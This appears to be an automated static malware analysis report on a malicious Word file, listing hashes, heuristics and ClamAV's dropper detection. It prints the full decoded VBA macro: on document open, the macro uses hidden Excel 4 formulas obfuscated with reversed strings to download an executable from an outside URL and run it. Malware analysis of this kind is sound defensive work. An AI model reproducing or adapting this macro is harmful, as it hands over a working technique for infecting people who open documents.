Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 85dce227d848274f…

MALICIOUS

Office (OOXML)

16.1 KB Created: 2021-02-17 01:18:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-03-01
MD5: 2d82626a72734b0c995c855a8b6d91a6 SHA-1: 2f415dd3be7e5e2bb47deb06ac0d528de96b2e3a SHA-256: 85dce227d848274f81a733cf5f70874894a1acfbbdfbcd23128bcf9c0d934b61
190 Risk Score

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set BEADu = CreateObject("Excel.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://the.earth.li/~sgtatham/putty/latest/w32/putty.exeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1419 bytes
SHA-256: 4ac24f1110e75f44a6d0a8ea1b0d87a655b5ee7347c1221e7febaf34239436aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
Dim BEADu As Object
Dim HuICH As String
Dim CvBuw, sCDsD, BBuBI, EwBII As String

Set BEADu = CreateObject("Excel.Application")
Set JBwEw = BEADu.workbooks.Add()
Set HGEvr = BEADu.Worksheets

BEADu.DisplayAlerts = False
BEADu.Application.Visible = 0

HGEvr.Add Before:=HGEvr(1), Count:=1, Type:=4
On Error Resume Next
BEADu.Range("A1").Name = "ok"
BEADu.Application.Cells(108, 1).Value = "=" + StrReverse("LLAC") + "(""ur""&CHAR(108)&""mon"",""UR""&CHAR(76)&""Down""&CHAR(108)&""oadToFi""&CHAR(108)&""eA"",""JJCCJJ"",0,""https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe"",""C:\ProgramData\\poc.exe"",0,0)"
BEADu.Range("" + StrReverse("901A") + "") = "=" + StrReverse("TIAW") + "(" + StrReverse("WON") + "() + ""00:00:6"")"
CvBuw = "C:\"
sCDsD = "\ataDmargorP"
BBuBI = "exe.cop"
EwBII = CvBuw & StrReverse(sCDsD) & StrReverse(BBuBI)


BEADu.Range("" + StrReverse("111A") + "") = "=" + StrReverse("CEXE") + "(""" + EwBII + """)"
BEADu.Sheets(1).Visible = 2
HuICH = "ok"
BEADu.Run (HuICH)
BEADu.Application.Quit
Set BEADu = Nothing
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: a9217935ae18366d791b82cde120309e0f77c6d56f3826740baa5753018bcc7a
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely